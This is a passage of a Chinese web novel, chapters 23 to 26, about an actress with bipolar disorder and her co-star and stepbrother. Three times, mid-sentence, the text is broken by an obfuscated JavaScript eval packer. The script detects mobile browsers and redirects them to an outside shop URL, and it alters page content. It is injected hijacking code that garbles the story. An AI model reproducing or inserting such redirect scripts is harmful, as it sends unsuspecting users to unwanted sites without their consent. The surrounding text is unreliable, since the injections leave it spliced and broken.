柜子上要么是她和姜誉飞的合照,要么就是姜誉飞自己的照片。 “不进来坐坐吗?”洛白走到他身边。 乔时青把目光放回她身上:“……不了。我还是先走吧,你早点休息。” 他一说要走,洛白的眼神就变了。 她明显不要他走。她走向他,突破正常的社交距离。换作平时的洛白,或者说两天前的洛白,绝对不会站在离乔时青这么近的地方。还这样目不转睛地看着他。 没人说话。很安静。 太安静了。乔时青仿佛能听到自己心跳鼓动的声响。他一低头,看见她微张的双唇,在试衣间发生的事便会席卷上来。他只好移开视线。 “你真的要走了吗?” “嗯。不打扰你了。” 凌晨四点,两人都有些困意。这种困意让人绵软,无法紧绷神经。 “今天谢谢你陪我玩……” “没事。那我先走了。” 乔时青的身后就是她家的大门。 他说着要走,可是双腿却无法迈开。他仿佛知道接下来会发生什么,仅存的理智也告诉他,现在就应该走掉。 可是不知道为什么他没有动作,他就站在那里,任凭她缓缓贴近自己,任由她将两人的距离缩短为零,坐视她再度吻过来。 洛白的双臂像攀援而上的藤蔓,柔柔轻轻地搂住他的脖颈,又慢慢收紧。他听见她咽了下口水,感到她的呼吸轻盈地喷薄在他的脸颊。她的双唇贴着他一会儿又离开,若即若离,又贴上来用舌尖勾开他的唇齿。他的身体像被她俘获的燃料,开始不顾一切的燃烧。在他意识到以前,她的吻已经要摧毁他几乎所有的防线。 他仅存的最后一丝理智让他试图告诉她说,你大概喝醉了,等你彻底清醒过来,你会后悔的。 “洛白……” 洛白听到他的声音抬眸盈盈望着他,另外一只手抚摸着他的脸颊。他被她的目光狙击,呼吸已经紊乱。 “怎么了?” 他试图往下说。然而她的唇一抽离,他满脑子就只剩下一个念头。不能让她离开。他不仅没能往下说,还不假思索地伸手揽住她的腰,一手扼住她的下巴又吻上了他的双唇。 洛白很受用他的进取,贴紧他的身体,踮起脚与他唇齿交缠,趋于炽热的呼吸交织着,旖旎的香气四处泛滥。她喘不过气来,却想要更多,忍不住嘤咛出声。她带着娇气的喘息彻底敲响了他的警钟。再沉沦下去,他会不计后果地占有她。 乔时青大梦初醒般松开她,在他理智占据上风的几秒间,他与她彻底拉开距离,深吸两口气,按住洛白的肩防止她靠近自己。 “你好好休息吧。我先走了。改天见。” 他争分夺秒地转身开门。 “不要。不要走好不好……” 他听到洛白充满无助与不舍的挽留声,更是加快脚步离开。 他大脑空白,一路肾上腺素飙升,回到车里砰得一声重重地关上车门。 他坐在驾驶座,呼吸都不平稳,仿佛整个世界都是他的心跳声。 23. 郁期 天边破晓,透出几丝光。又过半晌,朝霞铺过来。 乔时青在车里坐了一个多小时。 落荒而逃。 这四个字来形容刚才的他最贴切了。 可是他必须走,否则他会彻底失控。 他思来想去,等彻底冷静下来,还是给洛白拨了电话。 忙音一阵过后,那头传来一个鸭子似的声音。 语气有些冲。 “——什么事?” 乔时青顿了下:“你是洛白的弟弟?” “对。你又是谁?” “我是她的朋友。” “有事?” “她还好么?” “好得很。”那边很快说。 “睡着了?” “凌晨五点多,是个人都睡死了。” “嗯。那你怎么醒了?” “……我起来早读,不行啊?” 姜誉飞啪得挂断电话,骂了一句:“什么叼人。” 他把洛白的手机丢在一旁,看见茶几边胡乱地堆着几个袋子,扒拉着看一眼,全是衣服。他直起身打了个哈欠,习惯性望向洛白的房间。 房门紧闭。很安静。 但他敏锐地嗅到一股味道。 不假思索,他大步流星过去猛地拉开她的房门。那一瞬间,刺鼻的烟味混着酒味朝着他泼过来,叫他皱眉。 一个啤酒罐滚到他脚边,他目光扫了一圈,还有五六个空罐和一堆揉成团的纸巾被胡乱丢在地板。他的姐姐头戴耳机坐在飘窗那,指间一根细烟在燃着,些许烟灰落在腿上。 “姐。”姜誉飞叫她。 她仍出神似的望着窗外。 “洛白……洛白——!”姜誉飞上前夺下她的耳机。 原来耳机里的POP音乐响到震耳欲聋。 “嗯?”洛白这才听见他在叫自己,“怎么了?” “怎么了?” 姜誉飞凝视着她现在的模样,眼角是泪渍,眼底有血丝,神色却飘渺寡淡。他气极反笑:“凌晨五点你不睡觉,在这又是抽烟又是喝酒,发什么疯啊?” “我不困呢。”洛白轻飘飘地说着,又抬手将烟放进嘴里。 姜誉飞抽走那支烟丢地上狠狠踩了一脚:“你不是说抽烟喝酒伤嗓子吗?嗓子不要了?你还唱不唱歌了?” 听他提到这个,洛白突发奇想似的问:“你想去KTV吗?” 姜誉飞盯着她几秒,说:“你是不是偷偷停药了。” “我不用吃药。”洛白说。 姜誉飞不由分说,开始翻箱倒柜地找。洛白仍坐在那看着他把自己的房间翻得一团乱,没有阻止也没有提醒,只是用轻描淡写般的语气说:“我现在感觉好极了。真的不需要呢。” 他在最底部的抽屉里翻出来好多瓶瓶罐罐,一一丢在床上:“这个吃躁狂的,这个吃抑郁的,这个吃焦虑,这个可以镇静……你吃这俩。” 他把药倒出来送到洛白嘴边,她撇过脸:“我真的不用吃。这些药让我感觉很不好。” “你以为你现在就好吗?”姜誉飞说,“要不是一直有人给你打电话把我吵醒,我都不知道你一晚上还要发多少疯。” “我没有发疯,我很清醒。”洛白说,“马上要拍摄了,吃这些药容易发胖、消——” “我不管你什么拍不拍的。你现在就给我吃药,然后去睡觉。你不吃信不信我塞你嘴里。” 洛白看看他:“你不想陪姐姐喝酒吗?” “你少来这套。吃药。” 姜誉飞很坚决,对她的小招数了如指掌。洛白拗不过他,在他的监视下乖乖吞了药。姜誉飞推着她躺床上,又迅速开始清理房间:“躺着吧。一会儿就困了。” 洛白翻过身,侧躺着望着他的身影:“你陪我吗?” “陪。” 姜誉飞把易拉罐全丢进垃圾桶,洗了个手再回到床边时,洛白的目光已经有些许涣散了。他干脆在床边的地板上坐下来,背靠着她的床:“睡吧。” 洛白闭上眼,轻轻应了一下。 - 姜誉飞尤其记得多年前的那个晚上,与母亲再婚的男人带回来的那个女孩。 明明比自己还矮,却要让他喊姐姐。 刚因为成绩不好被老妈训了一顿的姜誉飞比平时更烦躁,别过头说:“她才不是我姐。” 妈妈尴尬地对那女孩笑:“誉飞这孩子很淘的,你比他大,可不要怪他喔。” 她看了他们母子俩一眼,沉默地站在那。 饭桌上她爸爸和颜悦色地跟妈妈谈他的成绩:“男孩子不用太在意成绩,你说是吧誉飞?” 姜誉飞昂着脑袋,听到这话赞同地点头。 两个大人就开怀地笑。 老妈还叮嘱他:“以后别那么淘气,家长会我都没脸去了。” 洛白则一言不发地坐在他对面,兀自低头小口吃饭。 不过多久老妈带着他搬进了一个新的房子,和洛白还有她爸住在一块儿。 他这位名义上的姐姐寡言少语,经常把急性子的姜誉飞逼得上蹿下跳。 父母在的时候她把自己关在房间里。 父母不在的时候她则会坐在沙发上看开了静音的电视剧看到深更半夜。 小学生姜誉飞会刻意打个哈欠路过:“啊我好口渴。” 洛白很轻地说:“地板很滑。” “我知道。”姜誉飞挺直身板,转身就栽在了地板上。 拍拍屁股他又站起来,说:“看吧,我很清楚地板滑。” 洛白看他一眼不说话,像看个傻子。 姜誉飞有强烈的吃亏感,他瞪她:“看什么看!” 洛白撤走目光,又盯着电视机。 “你为什么不开声音?”姜誉飞终于忍不住问。 “太吵了。”她说。 读到六年级,姜誉飞意气风发血气方刚,在临放学时因为一块橡皮和后桌打起来了了。 老师拎着两个人到办公室面色阴沉。 姜誉飞先发制人:“我爸妈都不在家。” “好,那就打电话给你妈。” “……” 老妈照例通过电话当老师面训了他一顿后,才说:“我和你爸还没回来,先让洛白接你回家,看我回来不好好收拾你。” 老师本来还想教育,但看见所谓的姐姐也只不过是个初中生,只好作罢放他走人。 姜誉飞大摇大摆地走在了洛白前面,听见她说:“你的书包呢?” “我今天不写作业。” “我去教室帮你拿。” “算了我自己去拿——但是拿了我也不会写的!”姜誉飞做了个鬼脸跑回教室,出来时洛白站在原本的地方等他。 两个人一前一后地走着,姜誉飞在后面诉说着他的光荣历史:“真的他太怂了要不是那个班长告老师了我还可以跟他大战三百回合!” 走到家门口,洛白示意他进门:“晚饭阿姨会给你做。” “你呢?” “我要出去。” “我也要一起。” “不要。” “不!就要!” 明白根本就拗不过他,于是干脆说:“那我不去了。” 进屋没多久,她的手机就响起来了,电话那头的人和她说了好多。 姜誉飞把耳朵凑到她手机旁边听:“没事……把你弟……得了……行不行……” 最后还是带着姜誉飞出门,出租车上洛白和他说:“我去学校讨论元旦晚会的事,很无聊的,你就在旁边写作业。” “我、不、要、写、作、业。” 初中教室比小学大一些,姜誉飞刚踏进去就听见一个声音:“这就是你弟啊?” 一眼看去就觉得面前的人不讨喜,姜誉飞一甩头哼了声:“小白脸。” 男生撩起校服就要冲上来:“嘿你个臭小子找抽呢?” 洛白拦住他:“你做什么?不是说来不及了吗?” 男生这才作罢,姜誉飞对他做了个招牌鬼脸。 洛白和他坐在一起讨论什么节目的事。 姜誉飞就这边转转那里跑跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037754|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没意思了就搬个椅子坐在洛白身边。 “我跟你说,我绝对是这次晚会的King,知道吧。我就用这一首说唱炸翻全场。” “……那你多表演几个吧。” “你和我一起演一个怎么样,我们一起炸翻全场。” “我不会表演。” “少来。你这个华语歌坛女王。” 洛白忍不住笑:“你说什么呢。” “我知道你会唱歌。” “简言之……” 小学生姜誉飞的不满意度迅速破表。 洛白在家里都很少说话更别说笑了,跟这个不知道哪里冒出来的傻叼倒是有说有笑,他这么一对比就更不爽。 于是他说:“我要回家!” “恩?跟你说会很无聊的。” “只有我无聊。”姜誉飞为自己委屈不平,他伸手抓住洛白的衣服,“姐,我要回家。” 姜誉飞早就摸清楚了她的脾气。 只要他服软叫她姐姐,她肯定什么都会依他的。 果不其然,洛白妥协:“那好吧,我把你送回家。” 他印象中的洛白便是这样。 寡言、清冷、内敛,对他则始终保有几分温柔,像一朵白玫瑰。 直到上了高中,一切都不一样了。 她被那个叫简言之的人拉去什么公司当什么练习生。 课余时间都待在公司里,练歌、练舞、练乱七八糟的东西。 他从此很少见到她。 - 姜誉飞凌乱的梦境被手机的震动声打断。 他迷糊地睁眼,发现自己还睡在地上。他撑着地板轻手轻脚到客厅,抓起洛白的手机,那通电话已经挂断了,好多条未读消息。 [程佳念:下午在公司303开会嗷] [程佳念:怎么你还没来公司呢] [四吉:晚上有你的戏,别忘啦] [四吉:你回ID了吗?] [四吉:我五点左右到公司门口等你可以吗] [简言之:你电话怎么都打不通的] [简言之:在哪儿呢?] [秦湘:下个月准备开始《封玄境》宣发了] [秦湘:上热搜了,表现不错哦。对了,你愿意去直播吗?过阵子我给你安排一个?] 姜誉飞挑顺眼的回了几条,还没放下,四吉的电话又拨进来。 “喂。” 姜誉飞的声音显然让那边的四吉愣了下:“啊?是弟弟啊?洛白呢?” “她在睡觉。”姜誉飞说。 “啊?”四吉惊讶道,“这个点还在睡吗?下午还有行程呢!喊她一下,让她快点准备去公司呢?” “你给她请两天假。”姜誉飞说,“她生病了,没法工作。” “哎——” 不管三七二之一,姜誉飞挂了电话。 他揉了揉脖子,在地板上曲了几小时简直腰酸背痛。 已经中午十二点了。 他又走到洛白的房门边,她仍窝在被子里,双眼阖着,呼吸很均匀。 洛白这一觉睡到了晚上七点。 她醒了,也不动,就躺在床上,静静地看天花板。 “姐,你饿不饿,要不要起来吃点东西?” “你要不要起床走一走?” “我帮你把窗户打开透透气怎么样?” 姜誉飞和她说话,她也不回答。 又过一个小时,姜誉飞还是按捺不住,走到床边打开床头灯。灯光很柔和,但洛白却立刻闭上了眼,很刺眼似的。 “关了吧。”她说。 姜誉飞蹲下来:“你一天没吃饭了。” 她又说:“关灯吧。” “你好歹起来洗把脸什么的吧,你看你昨天画的妆都还粘在脸上。这对身体不好啊。” 洛白还是说:“关灯。” 姜誉飞啪得一声关了灯,转身走掉。 没过几秒,他又拎着几张湿巾走过来,以一种别扭的姿势坐在床边:“我给你卸,总行了吧。” 24. 恢复 他低着脑袋把湿巾轻轻按在洛白脸上,一边擦拭,一边嘀咕:“这么浓的妆糊在脸上,你不闷啊?你要不要起来走走?” 洛白呆呆地盯着天花板:“……我没力气。” “这么久没吃饭肯定没力气。我叫了外卖,一会儿给你拿过来,吃点东西就有力气了。” “我不饿。” “多少吃点。”姜誉飞把脏兮兮的卸妆巾丢垃圾桶里。 她白净的脸在月光的映照下格外清丽,只是双眸呆滞,又有泪水缓缓滑下来。 姜誉飞擦掉她的眼泪:“别难过,姐。吃点东西,把药吃了,睡一觉就好了。” 他扶着她起来,靠在床边,拿了小桌板架好,把几盒茶点摆在上面。 洛白愣愣地看着面前的食物,突然说:“我很糟糕。是吗。” “当然不是啊,你只是犯病了而已。这年头谁没有点小毛病,吃药就可以了。”姜誉飞说。 洛白一点一点僵硬地摇头:“我……不好。” 姜誉飞打开手机,点进热搜给她看:“你看,你都上热搜了,这么多人夸你。” ID演唱会当晚,#洛白状态的词条就冲上了热搜第一。直到现在也还在榜单上挂着。 姜誉飞打开博文,不断向下翻,评论区里上万条的好评。 洛白今晚状态无敌了 好明媚好张扬美得太有生命力了! 我一直觉得她才应该是余弦的门面 天,太漂亮了,眼睛根本就离不开她 小洛白完全就是ACE啊 我的宝贝你终于被人看到了 “你看吧,那么多人夸你。如果你很糟糕的话,他们怎么会夸你?” 洛白出神地看着视频截图里那个神采奕奕的自己,恍惚地说:“我觉得那好像不是我……昨天开演唱会的记忆好模糊……我现在只觉得头疼……” “很正常,因为你累过头了。吃点东西就有力气了。” 洛白慢慢拾起筷子,夹起一个虾饺放进嘴里,吞下去又夹起一个塞进嘴里。她没有胃口,吞咽的动作很机械,下咽的那一瞬间还有点想吐。但她又夹起一个塞进嘴里,要把那种反胃的感觉强压下去。 姜誉飞眼睁睁地看着她吃完了一盘虾饺,又夹起另一碟里的烧卖往嘴里塞。姜誉飞连忙制止住她:“你也不要这样狼吞虎咽的。要么就什么都不吃,要么就把自己吃撑了,这样可不行。” 好一会儿洛白抬头,看着他愣愣地问:“你说什么,我听不见。我耳朵嗡嗡的,好像总有一股电流的声音……我是不是脑子坏掉了?” “没事儿,”姜誉飞把剩饭收拾掉,“你忘了吗?以前你也会这样,医生说都是躯体化什么的,很快就好了,你放松点。” 洛白吃了药。之后她浑浑噩噩的,不知道自己到底做了什么,又想了什么,很快又睡着了。这一觉又睡到第二天。期间也醒来过几次,但醒来后她也只是躺在那里,等待下一次睡意来袭。 第二天中午姜誉飞又来问她要不要吃饭,她说自己只是想睡觉。又睡了好几个小时,洛白终于坐了起来。她的脑子里好像有一团浆糊,她两手撑着床,双腿慢慢触地,地板冰凉的触感让她忍不住打了一个寒颤。走到窗边,拉开窗帘,外头的光一下子照进来,她几乎本能似的拉上了窗帘。 “姐,你醒了吗?”姜誉飞察觉动静走过来,“怎么样,你感觉好些了吗?” 洛白点点头,扶着墙走出房间。客厅里放了几十个包裹。姜誉飞顺着她的目光看向那些包裹:“你要我帮你拆吗?” 洛白这才想起是之前那个晚上她买的。她不记得自己买了多少东西。但现在看着这些几乎堆成小山的包裹,她又觉得有些羞愧:“对不起,添麻烦了吧?” “这有什么麻烦呢?拿几个包裹而已,你去洗把脸准备吃晚饭吧。” 洛白走进卫生间,时隔两天第一次照镜子,她看着镜子里的自己。苍白、憔悴、没有一点血色,她几乎不认识自己了。 “今天是周几?”她问。 “周日。”姜誉飞说。 那剧组该开工了。之前为了开演唱会,她向剧组请了一天假,现在早该回剧组了。 洛白揉了揉脑袋又问:“我的手机呢?” 她接过姜誉飞递过来的手机,有气无力地坐在沙发上,不过一会儿,整个人躺倒在了沙发上,蜷缩身体,解锁手机。 洛白看着一条条未读消息,理解得很费力。那些文字钻进她脑子里,却连不成句子。 她直接拨通了四吉的电话。那边很快接起来:“洛洛?哎呀,你终于回电话了!听你弟弟说你生病了?你现在好些了吗?” “嗯。这两天没回消息,真的抱歉。”洛白顿了顿又说,“剧组那边,导演是不是生气了,有为难你吗?” “没有呢,我给你请了两天假。刚好乔哥那边说有档期,就把他的戏提前拍了。你下一场排在明天上午十一点。到时候我来送你去片场啊?” 洛白说:“是这样吗……那明早你来接我吧。” “好嘞。” 挂了电话,姜誉飞正好端着两碗粥出来:“你现在没什么胃口就喝点粥吧,你不是爱喝这种八宝粥吗?不是很甜,我尝了。” 洛白就拿起汤匙小口小口地吃粥:“……这两天辛苦你了。好不容易放一个周末,都没能好好休息吧。” “你说的这是什么话?好不容易有一个周末,我们姐弟可以待在一块,这还不好?” 洛白很淡地笑了:“明早回学校了是吗?” “你要是状态不好,我就不去学校了。” “那不行。别耽误你的学业。”洛白说,“我已经好多了,明早我就回剧组,你也回学校去吧。” “那你答应我,以后一定不要再擅自停药了好吗?” 洛白静静地说:“我不知道……誉飞,这些药让我觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081240|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己很不好。而且有时候副作用也……很难受。” “可是你想想,如果你不好好吃药,躁郁症发作的时候有多难受?” “只是偶尔这样,之前都好好的。” 姜誉飞叹气:“我只是怕你哪次发病的时候又做什么傻事。” “以后不会了。” “你每次都这么说。” “我也不想这样,只是我控制不住自己。”洛白放下碗,“有时候我在说什么,我在哪儿,我自己都不知道。我只是想发泄。” “……好好吃饭,好好睡觉,让自己开心点好吗?别有那么多压力。” “嗯。” 吃完粥,洛白的目光又放到手机上,她恢复了一些阅读的能力,开始努力地处理一条条的消息。 [对不起。] [添麻烦了。] [我很好。] [当时有一点小状况。] [乔时青:还好吗?] 一些零碎又模糊的记忆从脑海里闪过去。 洛白想起了些什么。 她看着他之前发过来的消息,在聊天框里反复编辑回答。最后发给他。 [对不起,对你做了很冒犯的事,真的很抱歉,我不是故意的。] 第二天。 九点不到洛白就赶回了剧组。 做完妆发就开始了紧锣密鼓的拍摄,一直到十二点左右,下戏刚好是饭点,四吉给她带了一份沙拉。 她没有胃口,吃了几口便放下了筷子,坐在椅子上闭目养神。不知道是不是药物副作用,洛白一直觉得耳鸣头晕得厉害。 不过多久,有探班记者推开化妆间的门,问能不能采访。洛白当然是一口答应。 架好相机,戴好话筒,她努力集中注意力。 “那我们的采访从现在开始喽。” “首先想问一下,目前电影的拍摄也是接近尾声了哈,洛洛这段时间的拍摄体验怎么样呢?” 洛白老老实实地回答:“体验很好。剧组的工作人员们都很专业。我在这段时间学到了很多……” “洛洛这次是第一次和乔时青合作拍摄对吧,合作的感受可以说下吗?” 一听到这个名字,几帧画面从纷乱记忆里被抽出来砸到她的脑海里。洛白愣了一下,有些慌乱地组织语言:“和……” 她想起在凌晨时分的高速公路,她转头便看见他的侧颜。她想起在某个试衣间,她和他咫尺相距。他的气息搅乱她早已失去的理智。 “和他的合作很愉快。” 洛白最终只憋出来这么一句话。 那种混乱失序的状态像潮水般涌起,又像潮水般退去。此前种种残留的印象,就叫她后知后觉地羞愧起来。 洛白不敢想她应该如何面对乔时青。 她不知道他会如何看待她。 “——咦,乔老师你也来了?” “方便一起采访吗?” 25. 不熟 “周坤回!到底发生了什么啊?!”方渊冲着手机吼道。 “又问我?你们都当我是他公关团队了是吧?”周坤回骂骂咧咧的,“你知道这两天有多少人来问我吗?嘴都说干了。” “说完转账?” “那行。” 明码标完价,周坤回又来劲了,把重复多遍的来龙去脉从头讲一遍。 “所以——乔时青真的有个暗恋对象?”对于方渊而言,玛雅文明再世都没有这个消息来得震撼,“还是个女明星?” “是的是的是的。”周坤回困得不行,连声哈欠,“一开始我也不信,不过确实发生了,虽然我一直认为他是个Gay吧。” “我也是。”方渊语气很复杂,“而且我一直坚信他迟早有一天会对我下手。” “你都在胡思乱想些什么啊。”周坤回翻了个白眼,“要下手也是对我下手。” “好啊,你要跟我争这个是吧?” “……话说这个消息都传炸了吧,林沐什么反应?”周坤回嘿然一笑,“哭惨了吧?” “那是当然,我劝你不要接她的电话,否则就会遭遇和我一样的下场。”方渊清了清嗓子又说,“不过那洛白,究竟是何方神圣啊!我怎么一点印象也没?真想亲眼看看啊。” “我见过,气质很好,不过人挺冷的,话也不多——哎,好奇归好奇,你没事不要去招她啊,不然乔时青不高兴了。” “谁敢,夏轩不就是个活生生的例子。” 活生生的例子正和他的好友赶往《第三夜》剧组酒店。 “乔二!” “起床没啊。” 夏轩有些不耐烦地又敲了下乔时青的房门。 后者倏地打开门,电动牙刷塞在嘴里,似乎还半梦不醒着,上下扫视了夏轩一眼:“你们有什么事?” “我们?哼哼。” “见你好不容易情窦初开。” “哥哥们勉为其难教你几招。” 乔时青甩开他俩搭在自己肩上的手,转身走到洗漱台前吐了嘴里的泡沫。 “在恋爱这方面,你确实是一个蠢材。” “不过一旦认识了这一点,你就能缓慢地有一点进步。” 夏轩和姚启一左一右地站在乔时青身侧,大言不惭地和他喋喋不休着各自的恋爱经。 乔时青置若罔闻,刷完牙低下身去开了水随意洗了把脸,又自顾自朝客厅走。 夏轩紧跟在他身后道:“知道你不聪明,但有我们这恋爱天才在,你也不用多烦恼。” 姚启:“不如先跟我们说说,你到哪一步了?” 乔时青的脑海里闪过几帧画面。 他闭闭眼睛强压下去,在桌边坐下。 桌面上摆好了现磨豆浆和一袋热腾腾的生煎包,还有其他的早点。 他夹起生煎包咬了一口:“你们还真是闲。” “哎呀,转凉的秋天能喝一杯豆浆真是温暖。”夏轩咳了一声,端起豆浆喝了一口,“就你这种半死不活的态度,你是怎么都不可能追到洛白的。说真的,如果我没有放弃,其实已经没你什么事了。” “不过你也不用灰心,我们都决定要帮你了。”姚启拍了拍他的肩。 乔时青还是那副自大的样子:“你们除了送送礼花花钱说说恶心话,还能做什么?” 夏轩不屑一笑,伸出一根手指摇了摇:“关键在于释放个人的高超魅力。” 乔时青没搭理他,拿过手机查看叶减给自己发的排班表。 他的第一场戏在下午五点。现在还不用去。 夏轩刚想说什么,却见乔时青突然起身去洗手池边洗了手,利索地套上外套。 “哎,你去哪啊?” “上班。” “那我们怎么办啊?” “自己看着办。” “……” “这个人,还真是去娱乐圈上班的啊。” - 乔时青踏进片场时恰好碰上四吉拎着咖啡回来,他一路走入化妆间,在门口就听见记者在采访。 “洛洛这次是第一次和乔时青合作拍摄对吧,合作的感受可以说下吗?” 他握住门把的手一时顿住。 “和……和他的合作很愉快。” 咔哒一声。 他转开门把,推门。 记者一眼看见他的身影,惊喜道:“——咦,乔老师你也来了?方便一起采访吗?” “方便。”他说。 乔时青走过去,拉过一把椅子,坐到女主角附近。 记者:“呃,可以不用坐那么开吗?镜头有点放不下。” 在记者的建议下,男女主的间距总算减少了半米。 洛白心虚地闪开眼神,尽量避免和乔时青有目光接触。 “这部戏是两位首次合作,可以谈谈对彼此的印象吗?” 沉默。 沉默一秒。两秒。三秒。 正常来说,和别人一起做采访,洛白决不会是先开口的那一个。这一次她也习惯等旁边的人先说。然而这诡异又漫长的沉默让她意识到有什么出问题了。 她飞快地瞥了旁边的人一眼。 结果乔时青正似笑非笑地看着她:“你先说。” 洛白:“……” “乔——”洛白硬着头皮开口,“乔老师很专业。呃。在拍摄的时候经常,经常会带给我一些启发。” 她有些艰难地回答完,乔时青收回目光看向镜头,不知怎得喉咙像是被扼了几下:“洛白,很聪明很有想法,是我合作过最……” “最好看?最有默契?还是演技最好的?”记者迫不及待地想让他补充完整。 乔时青:“最不好惹的女演员。” 洛白:“?” 此话一出,记者和摄像们都忍不住笑出了声——乔时青竟然说洛白不好惹,明明他自己才不好惹吧。 又挨了十分钟,一场采访总算结束。 如坐针毡的洛白赶紧起身,但是她动作太快撞翻了椅子。 椅子就要触地的刹那,被一只手稳稳地扶住。洛白的声音憋在嗓子里,条件反射看了眼身前的人:“谢……谢谢。” 乔时青扶好椅子,站直身低眸看她,语气听不出来有什么情绪:“听说你感冒了?” “嗯。” 两个记者感觉这俩主角压根不太熟,收拾好装备就默默离开了,剩下两个人相顾无言。 有种淡淡的尴尬。 不熟。但亲了。 …… 令人头大。 洛白先小声说:“那我先去候场了。” 乔时青向侧边迈了一步挡住她的去路。 他还是把这几天的疑惑和盘托出:“关于那天晚上的事,你没有什么想对我说的?” 洛白移开目光,第一反应是逃避:“我不太清楚你在说什么。” 他深深看她一眼。 洛白站在离他半米远的位置,保持恰到好处的社交距离,语气很清淡。 之前那个洛白又没了踪影。 像烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105217|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花。灿烂,但随时就人间蒸发了。 她不承认,还对他这样判若两人式的疏离。 只有他一直在刻舟求剑,追问她轻描淡写就想推翻的过去。 乔时青扯扯嘴角,冷笑着说:“洛白,你玩我是吗?” “……我没有那个意思。” 洛白叹了口气,还是乖乖向他道歉,“对不起。如果我能做什么补偿你的话,你提出来我一定尽力去做。” “那你亲我。” “?” 洛白以为自己听错了:“什、什么?” 她条件反射般抬眼去看他,乔时青却马上撇开了脸。 “不是说要补偿我么?”他直直地盯着墙壁。 “我……” “算了。”乔时青第一次打断洛白的话。 他大步离开,头也没回地出了门。 洛白望着他的背影,不知道为什么一时有些发怔。 - 傍晚。 这场是落日戏,也是男女主剩下为数不多的对手戏。 露天阳台的设备一架好,场工就连忙把两位主演喊来了。 “这夏轩也太三分钟热度了。”秦湘边走边和洛白小声吐槽,“这才追了你多久啊,就一点儿音信也没了。” “挺好的。”洛白理了理头发径直走向露台的长椅坐下。 傍晚的景致确实好。 十月中旬连着好几个阴天,今天倒是自早上起就放了大晴。 日落时分,天空被渲染成瑰丽的橘紫色,大片大片的浮云时团时散,透云的余辉洒过来,整个露台都镀上了一层薄薄的淡金色。 大家心旷神怡,拍摄也进行得顺利。 总共拍了四条。 导演喊卡时,太阳恰好没入地平线下,光芒刹时收束,长空入夜。 洛白悄悄看一眼男主角。 这人一下了戏就挂脸了。 道具组长在这时走过来:“那个,乔哥、洛洛,出了点事。” “刚才有个场外道具入镜了,我们这整场得重新拍。现在太阳落了,只能明天补拍。不知道二位明天这时候有没有档期……”道具越说就越能感受到来自乔时青的锐利目光,泛寒的晚间他却出了些汗,抹了把额头,率先看向好说话的洛白,“洛洛,你明天可以的吧?” “嗯。我没问题。”洛白当然得这么说。 继而他赔着笑把目光转向乔时青:“那么,那么乔老师……” 乔时青淡淡说:“这么说,刚才四遍全白拍了?” 他话音一落,在场里外进出收拾设备的工作人员们不约而同闭上了嘴,脚上动作却加快了。他们竖起耳朵,瞥向道具的目光或是同情或是幸灾乐祸。 道具硬着头皮道:“可以这么说。这场戏是一镜到底。所以——” “既然是一镜到底,布景的时候不应该更仔细地检查么?” “乔老师,实在对不起,是我们的疏忽!你看这……”道具组见男主角冷着脸不为所动的模样,只好可怜兮兮地看向一边的洛白,好像是在央求她帮忙。 ——是,是让她帮着哄一下的意思吗? 洛白转眼望向乔时青,恩,是有点不爽。 说实话,也不知道他到底是因为道具在不爽,还是因为她在不爽。 她看看不敢出大气的道具,又看看乔时青,欲言又止,一顿又顿才说:“别生气了……” 乔时青轻觑她一眼:“被人耍了,你是一点儿不恼火?” ……这是在点她吗? 26. 私心 “我觉得人家应该不是故意的。”洛白小声说。 “真是不小心的,乔老师。”道具也赔笑说。 “行了,明天仔细点吧。”乔时青冲道具摆了摆手。 “一定一定。”后者松了口气赶紧搬起最后那块打光板撤了。 等道具离开视线范围,洛白吊着口气看向乔时青,郑重但声音不大地说:“你还是在介意对吧?” 乔时青还没开口,叶减提着两个袋子进来:“乔哥,洛洛,你们在这儿吃晚饭对吧?给你俩放这吗?” “放这就行,你下班吧。”乔时青说。 叶减一步三回头地走了。 乔时青刚一伸手,洛白就先一步拆开纸袋:“我来就好。” 乔时青看着她解开袋子,陆续拿出饭盒,在桌上摆开。最后洛白那小鹿般的双眸诚恳地望向他:“您吃吧。” 乔时青:“……” 洛白又拿起筷子用双手递给他:“给。” 乔时青知道她这是在示好,无可奈何地叹口气接过筷子:“你知道我介意的是什么吗?” “嗯。”洛白点头,“你介意我不经允许就亲了你。” “……不是这个。” 看她面露疑惑,乔时青顿了顿说:“你那天怎么了?是喝醉了吗?” 洛白一时无言。 她知道自己那时怎么了。 她发病了。 她有双相情感障碍,发病就会陷入时而躁狂时而抑郁的状态。 只是这件事她不想到处宣扬。 